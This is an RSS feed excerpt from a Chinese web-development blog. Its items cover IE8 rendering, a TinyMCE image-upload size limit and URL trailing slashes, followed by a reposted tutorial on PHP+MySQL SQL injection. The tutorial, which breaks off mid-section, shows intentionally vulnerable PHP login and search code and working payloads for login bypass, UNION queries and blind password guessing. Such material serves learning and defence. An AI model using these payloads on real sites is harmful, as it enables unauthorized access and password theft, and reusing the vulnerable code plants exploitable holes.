		<description><![CDATA[有些模板在ie8浏览器上无法正常的显示，但是在其他的浏览器上就能正常显示。可以通过模板初定义修改。 将head 里的的meta http-equiv=”Content-Type” content=”text/html 这句换成：meta http-equiv=”X-UA-Compatible” content=”IE=EmulateIE7 即告诉IE以IE7的方式渲染 或简单写  content=”IE=7&#8243; 如果要FireFox兼容不同版本，可写 content=”FF=3&#8243;等等，内容用分号隔开 相关日志10/31/2010 -- 如何让PNG格式的透明图片在IE6下正常显示 (0)10/25/2010 -- IIS rewrite 规则设置 (0)10/19/2010 -- zen cart SEO urls转换特殊字符 (1)10/15/2010 -- MySQL数据库编码问题之数据转换 (0)10/07/2010 -- Godaddy IIS7 ReWrite 规则的编写 (3)]]></description>
			<content:encoded><![CDATA[<p>有些模板在ie8浏览器上无法正常的显示，但是在其他的浏览器上就能正常显示。可以通过模板初定义修改。</p>
<p>将head 里的的meta http-equiv=”Content-Type” content=”text/html</p>
<p>这句换成：meta http-equiv=”X-UA-Compatible” content=”IE=EmulateIE7</p>
<p>即告诉IE以IE7的方式渲染</p>
<p>或简单写  content=”IE=7&#8243;</p>
<p>如果要FireFox兼容不同版本，可写 content=”FF=3&#8243;等等，内容用分号隔开</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>10/31/2010 -- <a href="http://www.crazylemon.net/css/3705.html" title="如何让PNG格式的透明图片在IE6下正常显示">如何让PNG格式的透明图片在IE6下正常显示</a> (0)</li><li>10/25/2010 -- <a href="http://www.crazylemon.net/iis-server/3682.html" title="IIS rewrite 规则设置">IIS rewrite 规则设置</a> (0)</li><li>10/19/2010 -- <a href="http://www.crazylemon.net/zencart/3623.html" title="zen cart SEO urls转换特殊字符">zen cart SEO urls转换特殊字符</a> (1)</li><li>10/15/2010 -- <a href="http://www.crazylemon.net/mysql/3609.html" title="MySQL数据库编码问题之数据转换">MySQL数据库编码问题之数据转换</a> (0)</li><li>10/07/2010 -- <a href="http://www.crazylemon.net/windows/3581.html" title="Godaddy IIS7 ReWrite 规则的编写">Godaddy IIS7 ReWrite 规则的编写</a> (3)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/html/3555.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>lightinthebox模板后台产品描述编辑器无法上传图片的解决办法</title>
		<link>http://www.crazylemon.net/zencart/3488.html</link>
		<comments>http://www.crazylemon.net/zencart/3488.html#comments</comments>
		<pubDate>Fri, 10 Sep 2010 06:45:05 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[ZenCart]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[配置]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3488</guid>
		<description><![CDATA[lightinthebox模板，或者说已经比模板高级很多的这套程序，是在zen cart基础上二次开发而成的，功能强大，集成了tiny_mce等强大的编辑器，可以实现在后台直接进行可视化编辑和上传图片。 今天遇到一个网友说他的仿lightinthebox网站后台编辑器上传图片的功能坏了，经过一查，原来是配置问题 编辑器的上传图片功能路径类似如下： http://l.crazylemon.net/editors/tiny_mce/plugins/ImageManager/manager.php?b=/home2/myvipsne/public_html/lcrazylemon/images/&#038;p=/images/  我们可以看到，图片列表框里有写： Total: 0.54 MB (20 MB max.) 关键就是这个，如果images里面的文件大小超过了max值，就会无法上传，所以在我的lightinthebox演示站里，图片是可以正常上传的，因为该演示站没有上什么产品，也没什么图片；而对方的，因为他本来images文件夹的文件数量就超过20M了，所以无法继续上传 解决方法，找到ImageManager的配置文件config.inc.php，地址在： /editors/tiny_mce/plugins/ImageManager/config.inc.php 查找 $IMConfig['dir_max_size'] = 20971520; // 20MB 将默认的20971520这个数值改为你想要的数值即可，前提是一定要比现有images文件夹大一些 相关日志05/21/2010 -- nginx文件类型错误解析漏洞(80sec) (0)04/23/2010 -- Cpanel开启gzip优化功能 (0)11/12/2009 -- zen cart 二次开发进程 (1)09/22/2009 -- bluehost的php.ini配置 (0)07/18/2009 -- .htaccess使用指南 (0)]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.crazylemon.net/waimaowangzhan">lightinthebox模板</a>，或者说已经比模板高级很多的这套程序，是在zen cart基础上二次开发而成的，功能强大，集成了tiny_mce等强大的编辑器，可以实现在后台直接进行可视化编辑和上传图片。</p>
<p>今天遇到一个网友说他的<strong>仿lightinthebox网站</strong>后台编辑器上传图片的功能坏了，经过一查，原来是配置问题</p>
<p>编辑器的上传图片功能路径类似如下：</p>
<p>http://l.crazylemon.net/editors/tiny_mce/plugins/ImageManager/manager.php?b=/home2/myvipsne/public_html/lcrazylemon/images/&#038;p=/images/</p>
<p> 我们可以看到，图片列表框里有写：</p>
<p>Total: 0.54 MB <strong>(20 MB max.)</strong></p>
<p>关键就是这个，如果images里面的文件大小超过了max值，就会无法上传，所以在我的<a href="http://l.crazylemon.net/" target="_blank">lightinthebox演示站</a>里，图片是可以正常上传的，因为该演示站没有上什么产品，也没什么图片；而对方的，因为他本来images文件夹的文件数量就超过20M了，所以无法继续上传</p>
<p>解决方法，找到ImageManager的配置文件config.inc.php，地址在：</p>
<p>/editors/tiny_mce/plugins/ImageManager/config.inc.php</p>
<p>查找 $IMConfig['dir_max_size'] = 20971520; // 20MB</p>
<p>将默认的20971520这个数值改为你想要的数值即可，前提是一定要比现有images文件夹大一些</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>05/21/2010 -- <a href="http://www.crazylemon.net/nginx/3168.html" title="nginx文件类型错误解析漏洞(80sec)">nginx文件类型错误解析漏洞(80sec)</a> (0)</li><li>04/23/2010 -- <a href="http://www.crazylemon.net/apache/3111.html" title="Cpanel开启gzip优化功能">Cpanel开启gzip优化功能</a> (0)</li><li>11/12/2009 -- <a href="http://www.crazylemon.net/zencart/2438.html" title="zen cart 二次开发进程">zen cart 二次开发进程</a> (1)</li><li>09/22/2009 -- <a href="http://www.crazylemon.net/php/1996.html" title="bluehost的php.ini配置">bluehost的php.ini配置</a> (0)</li><li>07/18/2009 -- <a href="http://www.crazylemon.net/web/1239.html" title=".htaccess使用指南">.htaccess使用指南</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/zencart/3488.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>网站子目录地址后要不要斜杠</title>
		<link>http://www.crazylemon.net/seo/3483.html</link>
		<comments>http://www.crazylemon.net/seo/3483.html#comments</comments>
		<pubDate>Wed, 08 Sep 2010 17:23:55 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3483</guid>
		<description><![CDATA[网站子目录地址后面都有个斜杠，如 http://www.crazylemon.net/google/ 但我们一般这样写也能正常访问，即去掉最后的斜杠 http://www.crazylemon.net/google 两者有什么不一样呢，一般地，以斜杠结尾，表示这是一个目录，而以.php，.html或无后缀的文件名结尾，则会当成一个子页面 还好一般web服务器都有会有个判断，如果不是以斜杠结尾的地址，会查找是否存在这么个文件或目录，如果是目录的话，会自动跳转到有斜杠的地址，即在原地址后加个斜杠，这个跳转是301跳转；另外说一下，域名后加不加斜杠都一样，都会访问网站的/位置，而不进行301跳转 所以这也造成无论是windows还是linux操作系统，同一目录下的文件夹和文件名是不能相同的，不然至少这个判断不了啊 和google等SEO的关系： 我想有两种可能，一种是搜索引擎会认为这是一个页面，只是301到另一页面了 另一种，就是搜索引擎比较人性化，会认为这两个地址是一样的，不存在301的问题 另外的，到底301是不是个问题。。。 相关日志09/14/2009 -- 仿牌购物网站被封？知识产权问题？不合理优化问题？ (2)07/18/2009 -- .htaccess使用指南 (0)10/26/2010 -- 关于 rel=”canonical” 用法 (0)10/15/2010 -- Joomla (2)10/15/2010 -- Windows 2003 IIS 6 配置 (2)]]></description>
			<content:encoded><![CDATA[<p>网站子目录地址后面都有个斜杠，如 <a href="http://www.crazylemon.net">http://www.crazylemon.net/google/</a></p>
<p>但我们一般这样写也能正常访问，即去掉最后的斜杠 <a href="http://www.crazylemon.net">http://www.crazylemon.net/google</a></p>
<p>两者有什么不一样呢，一般地，以斜杠结尾，表示这是一个目录，而以.php，.html或无后缀的文件名结尾，则会当成一个子页面</p>
<p>还好一般web服务器都有会有个判断，如果不是以斜杠结尾的地址，会查找是否存在这么个文件或目录，如果是目录的话，会自动跳转到有斜杠的地址，即在原地址后加个斜杠，这个跳转是301跳转；另外说一下，域名后加不加斜杠都一样，都会访问网站的/位置，而不进行301跳转</p>
<p>所以这也造成无论是windows还是linux操作系统，同一目录下的文件夹和文件名是不能相同的，不然至少这个判断不了啊</p>
<p>和google等SEO的关系：</p>
<p>我想有两种可能，一种是搜索引擎会认为这是一个页面，只是301到另一页面了</p>
<p>另一种，就是搜索引擎比较人性化，会认为这两个地址是一样的，不存在301的问题</p>
<p>另外的，到底301是不是个问题。。。</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>09/14/2009 -- <a href="http://www.crazylemon.net/waimao/1890.html" title="仿牌购物网站被封？知识产权问题？不合理优化问题？">仿牌购物网站被封？知识产权问题？不合理优化问题？</a> (2)</li><li>07/18/2009 -- <a href="http://www.crazylemon.net/web/1239.html" title=".htaccess使用指南">.htaccess使用指南</a> (0)</li><li>10/26/2010 -- <a href="http://www.crazylemon.net/seo/3684.html" title="关于 rel=”canonical” 用法">关于 rel=”canonical” 用法</a> (0)</li><li>10/15/2010 -- <a href="http://www.crazylemon.net/wordpress/3611.html" title="Joomla">Joomla</a> (2)</li><li>10/15/2010 -- <a href="http://www.crazylemon.net/iis-server/3605.html" title="Windows 2003 IIS 6 配置">Windows 2003 IIS 6 配置</a> (2)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/seo/3483.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>mysql 注入方法（转自Security Angel）</title>
		<link>http://www.crazylemon.net/mysql/3455.html</link>
		<comments>http://www.crazylemon.net/mysql/3455.html#comments</comments>
		<pubDate>Tue, 31 Aug 2010 16:56:29 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[get]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[word]]></category>
		<category><![CDATA[升级]]></category>
		<category><![CDATA[搜索引擎]]></category>
		<category><![CDATA[配置]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3455</guid>
		<description><![CDATA[关于php+Mysql的注入 　　国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。 　　尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 &#8216; (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。 　　早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。 注：在没有具体说明的情况下，我们假设magic_quotes_gpc均为off。 php+Mysql注入的误区 　　很多人认为在PHP+MYSQL下注入一定要用到单引号，或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=&#60;command&#62; exec master.dbo.xp_cmdshell @a”这类的命令来消除引号，其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。 　　为什么呢？因为不管在什么语言里，在引号（包括单双）里，所有字符串均是常量，即使是dir这样的命令，也紧紧是字符串而已，并不能当做命令执行，除非是这样写的代码： $command = “dir c:\”; system($command); 　　否则仅仅只是字符串，当然，我们所说的命令不单指系统命令，我们这里说的是SQL语句，要让我们构造的SQL语句正常执行，就不能让我们的语句变成字符串，那么什么情况下会用单引号？什么时候不用呢？看看下面两句SQL语句： ①SELECT * FROM article WHERE articleid=&#8217;$id&#8217; ②SELECT * FROM article WHERE articleid=$id 　　两种写法在各种程序中都很普遍，但安全性是不同的，第一句由于把变量$id放在一对单引号中，这样使得我们所提交的变量都变成了字符串，即使包含了正确的SQL语句，也不会正常执行，而第二句不同，由于没有把变量放进单引号中，那我们所提交的一切，只要包含空格，那空格后的变量都会作为SQL语句执行，我们针对两个句子分别提交两个成功注入的畸形语句，来看看不同之处。 ① 指定变量$id为： 1&#8242; and 1=2 union select * [...]]]></description>
			<content:encoded><![CDATA[<p><strong>关于php+Mysql的注入</strong></p>
<p>　　国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。<br />
　　尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 &#8216; (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。<br />
　　早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。</p>
<p><em>注：在没有具体说明的情况下，我们假设magic_quotes_gpc均为off。</em></p>
<p><strong>php+Mysql注入的误区</strong></p>
<p>　　很多人认为在PHP+MYSQL下注入一定要用到单引号，或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=&lt;command&gt; exec master.dbo.xp_cmdshell @a”这类的命令来消除引号，其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。<br />
　　为什么呢？因为不管在什么语言里，在引号（包括单双）里，所有字符串均是常量，即使是dir这样的命令，也紧紧是字符串而已，并不能当做命令执行，除非是这样写的代码：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$command = “dir c:\”;<br />
system($command);</span></td>
</tr>
</tbody>
</table>
<p>　　否则仅仅只是字符串，当然，我们所说的命令不单指系统命令，我们这里说的是SQL语句，要让我们构造的SQL语句正常执行，就不能让我们的语句变成字符串，那么什么情况下会用单引号？什么时候不用呢？看看下面两句SQL语句：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">①SELECT * FROM article WHERE articleid=&#8217;$id&#8217;<br />
②SELECT * FROM article WHERE articleid=$id</span></td>
</tr>
</tbody>
</table>
<p>　　两种写法在各种程序中都很普遍，但安全性是不同的，第一句由于把变量$id放在一对单引号中，这样使得我们所提交的变量都变成了字符串，即使包含了正确的SQL语句，也不会正常执行，而第二句不同，由于没有把变量放进单引号中，那我们所提交的一切，只要包含空格，那空格后的变量都会作为SQL语句执行，我们针对两个句子分别提交两个成功注入的畸形语句，来看看不同之处。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">① 指定变量$id为：<br />
1&#8242; and 1=2 union select * from user where userid=1/*<br />
此时整个SQL语句变为：<br />
SELECT * FROM article WHERE articleid=&#8217;1&#8242; and 1=2 union select * from user where userid=1/*&#8217;</span><span style="color: #0000ff;">②指定变量$id为：<br />
1 and 1=2 union select * from user where userid=1<br />
此时整个SQL语句变为：<br />
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1</span></td>
</tr>
</tbody>
</table>
<p>　　看出来了吗？由于第一句有单引号，我们必须先闭合前面的单引号，这样才能使后面的语句作为SQL执行，并要注释掉后面原SQL语句中的后面的单引号，这样才可以成功注入，如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数，我们的攻击就会化为乌有，但第二句没有用引号包含变量，那我们也不用考虑去闭合、注释，直接提交就OK了。<br />
　　大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句，是没有包含引号的，大家不要认为真的可以不用引号注入，仔细看看PHPBB的代码，就可以发现，那个$forum_id所在的SQL语句是这样写的：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$sql = “SELECT *<br />
FROM ” . FORUMS_TABLE . ”<br />
WHERE forum_id = $forum_id”;</span></td>
</tr>
</tbody>
</table>
<p>　　由于没有用单引号包含变量，才给pinkeyes这个家伙有机可乘，所以大家在写PHP程序的时候，记得用单引号把变量包含起来。当然，必要的安全措施是必不可少的。</p>
<p><strong>简单的例子</strong></p>
<p>　　先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然，这个例子也可以告诉大家如何学习构造有效的SQL语句。<br />
　　我们拿一个用户验证的例子，首先建立一个数据库和一个数据表并插入一条记录，如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">CREATE TABLE `user` (<br />
`userid` int(11) NOT NULL auto_increment,<br />
`username` varchar(20) NOT NULL default ”,<br />
`password` varchar(20) NOT NULL default ”,<br />
PRIMARY KEY (`userid`)<br />
) TYPE=MyISAM AUTO_INCREMENT=3 ;</span><span style="color: #0000ff;">#<br />
# 导出表中的数据 `user`<br />
#</span></p>
<p><span style="color: #0000ff;">INSERT INTO `user` VALUES (1, &#8216;angel&#8217;, &#8216;mypass&#8217;);</span></td>
</tr>
</tbody>
</table>
<p>　　验证用户文件的代码如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&lt;?php<br />
$servername = “localhost”;<br />
$dbusername = “root”;<br />
$dbpassword = “”;<br />
$dbname = “injection”;</span><span style="color: #0000ff;">mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);</span></p>
<p><span style="color: #0000ff;">$sql = “SELECT * FROM user WHERE username=&#8217;$username&#8217; AND password=&#8217;$password&#8217;”;</span></p>
<p><span style="color: #0000ff;">$result = mysql_db_query($dbname, $sql);<br />
$userinfo = mysql_fetch_array($result);</span></p>
<p><span style="color: #0000ff;">if (empty($userinfo))<br />
{<br />
echo “登陆失败”;<br />
} else {<br />
echo “登陆成功”;<br />
}</span></p>
<p><span style="color: #0000ff;">echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
?&gt;</span></td>
</tr>
</tbody>
</table>
<p>　　这时我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; or 1=1</span></td>
</tr>
</tbody>
</table>
<p>　　就会返回：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13<br />
登陆失败</span><span style="color: #0000ff;">SQL Query:SELECT * FROM user WHERE username=&#8217;angel&#8217; or 1=1&#8242; AND password=”</span></p>
<p><span style="color: #0000ff;">PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13 </span></td>
</tr>
</tbody>
</table>
<p>　　看到了吗？单引号闭合后，并没有注释掉后面的单引号，导致单引号没有正确配对，所以由此可知我们构造的语句不能让Mysql正确执行，要重新构造：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; or &#8217;1=1</span></td>
</tr>
</tbody>
</table>
<p>　　这时显示“登陆成功”，说明成功了。或者提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217;/*</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217;%23</span></td>
</tr>
</tbody>
</table>
<p>　　这样就把后面的语句给注释掉了！说说这两种提交的不同之处，我们提交的第一句是利用逻辑运算，在ASP中运用可以说是非常广泛的，这个不用说了吧？第二、三句是根据mysql的特性，mysql支持/*和#两种注释格式，所以我们提交的时候是把后面的代码注释掉，值得注意的是由于编码问题，在IE地址栏里提交#会变成空的，所以我们在地址栏提交的时候，应该提交%23，才会变成#，就成功注释了，这个比逻辑运算简单得多了，由此可以看出PHP比ASP强大灵活多了。<br />
　　通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧？</p>
<p><strong>语句构造</strong></p>
<p>　　PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过，语句的构造才是最有趣味的地方，但构造语句和ACCESS、MSSQL都有少许不同，但同样可以发挥得淋漓尽致。看下面的例子。</p>
<p><strong>一、搜索引擎</strong></p>
<p>　　网上有一大堆的PHP程序搜索引擎是有问题的，也就是提交特殊字符可以显示所有记录，包括不符合条件的，其实这个危害也不算大，因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。<br />
　　查询是只读的操作应该不会对数据产生破坏作用，不要太担心。不过泄露隐私不知道算不算危害，下面是一个标准的搜索引擎：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&lt;form method=”GET” action=”search.php” name=”search”&gt;<br />
&lt;input name=”keywords” type=”text” value=”" size=”15&#8243;&gt; &lt;input type=”submit” value=”Search”&gt;<br />
&lt;/form&gt;<br />
&lt;p&gt;&lt;b&gt;Search result&lt;/b&gt;&lt;/p&gt;</span><span style="color: #0000ff;">&lt;?php<br />
$servername = “localhost”;<br />
$dbusername = “root”;<br />
$dbpassword = “”;<br />
$dbname = “injection”;</span></p>
<p><span style="color: #0000ff;">mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);</span></p>
<p><span style="color: #0000ff;">$keywords = $_GET['keywords'];<br />
if (!empty($keywords)) {<br />
　　//$keywords = addslashes($keywords);<br />
　　//$keywords = str_replace(“_”,”\_”,$keywords);<br />
　　//$keywords = str_replace(“%”,”\%”,$keywords);</span></p>
<p><span style="color: #0000ff;">　　$sql = “SELECT * FROM “.$db_prefix.”article WHERE title LIKE &#8216;%$keywords%&#8217; $search ORDER BY title DESC”;<br />
　　$result = mysql_db_query($dbname,$sql);<br />
　　$tatol=mysql_num_rows($result);</span></p>
<p><span style="color: #0000ff;">　　echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;</span></p>
<p><span style="color: #0000ff;">　　if ($tatol &lt;=0){<br />
　　　　echo “The \”&lt;b&gt;$keywords&lt;/b&gt;\” was not found in all the record.&lt;p&gt;\n”;<br />
　　} else {<br />
　　　　while ($article=mysql_fetch_array($result)) {<br />
　　　　　　echo “&lt;li&gt;”.htmlspecialchars($article[title]).”&lt;p&gt;\n”;<br />
　　　　} //while<br />
　　}<br />
} else {<br />
　　echo “&lt;b&gt;Please enter some keywords.&lt;/b&gt;&lt;p&gt;\n”;<br />
}<br />
?&gt;</span></td>
</tr>
</tbody>
</table>
<p>　　一般程序都是这样写的，如果缺乏变量检查，我们就可以改写变量，达到“注入”的目的，尽管没有危害，当我们输入“___” 、“.__ ”、“%”等类似的关键字时，会把数据库中的所有记录都取出来。如果我们在表单提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">%&#8217; ORDER BY articleid/*<br />
%&#8217; ORDER BY articleid#<br />
__&#8217; ORDER BY articleid/*<br />
__&#8217; ORDER BY articleid#</span></td>
</tr>
</tbody>
</table>
<p>　　SQL语句就被改变成下面的样子了，</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE title LIKE &#8216;%%&#8217; ORDER BY articleid/*%&#8217; ORDER BY title DESC<br />
SELECT * FROM article WHERE title LIKE &#8216;%__&#8217; ORDER BY articleid#%&#8217; ORDER BY title DESC</span></td>
</tr>
</tbody>
</table>
<p>　　就会列出所有记录，包括被隐藏的，还可以改变排列顺序。这个虽然危害不大，也算是注入的一种方式了吧？</p>
<p><strong>二、查询字段</strong></p>
<p>　　查询字段又可以分成两种，本表查询和跨表查询，这两种查询和ACCESS、MSSQL差不多，甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难？我们在ASP中经常使用的个别函数在PHP里要有小小的改动，如下：</p>
<p><strong>① 本表查询</strong></p>
<p>　　看下面一条SQL语句，多用在论坛或者会员注册系统查看用户资料的，</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&lt;?php<br />
$servername = “localhost”;<br />
$dbusername = “root”;<br />
$dbpassword = “”;<br />
$dbname = “injection”;</span><span style="color: #0000ff;">mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);</span></p>
<p><span style="color: #0000ff;">$sql = “SELECT * FROM user WHERE username=&#8217;$username&#8217;”;<br />
$result = mysql_db_query($dbname,$sql);<br />
$row = mysql_fetch_array($result);</span></p>
<p><span style="color: #0000ff;">if (!$row) {<br />
　　echo “该记录不存在”;<br />
　　echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
　　exit;<br />
}</span></p>
<p><span style="color: #0000ff;">echo “你要查询的用户ID是：$row[userid]\n”;<br />
echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
?&gt;</span></td>
</tr>
</tbody>
</table>
<p>　　当我们提交的用户名为真时，就会正常返回用户的ID，如果为非法参数就会提示相应的错误，由于是查询用户资料，我们可以大胆猜测密码就存在这个数据表里（现在我还没有碰见过密码是单独存在另一个表的程序），记得刚才的身份验证程序吗？和现在的相比，就少了一个AND条件，如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=&#8217;$username&#8217; AND password=&#8217;$password&#8217;SELECT * FROM user WHERE username=&#8217;$username&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　相同的就是当条件为真时，就会给出正确的提示信息，如果我们构造出后面的AND条件部分，并使这部分为真，那我们的目的也就达到了，还是利用刚才建立的user数据库，用户名为angel，密码为mypass，<br />
看了上面的例子，应该知道构造了吧，如果我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; and password=&#8217;mypass</span></td>
</tr>
</tbody>
</table>
<p>　　这个是绝对为真的，因为我们这样提交上面的SQL语句变成了下面的样子：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=&#8217;angel&#8217; AND password=&#8217;mypass&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　但在实际的攻击中，我们是肯定不知道密码的，假设我们知道数据库的各个字段，下面我们就开始探测密码了，首先获取密码长度：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; and LENGTH(password)=&#8217;6</span></td>
</tr>
</tbody>
</table>
<p>　　在ACCESS中，用LEN()函数来获取字符串长度，在MYSQL中，要使用LENGTH()，只要没有构造错误，也就是说SQL语句能正常执行，那返回结果无外乎两种，不是返回用户ID，就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真，就会返回相关记录，是不是和ASP里一样？再用LEFT()、RIGHT()、MID()函数猜密码：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
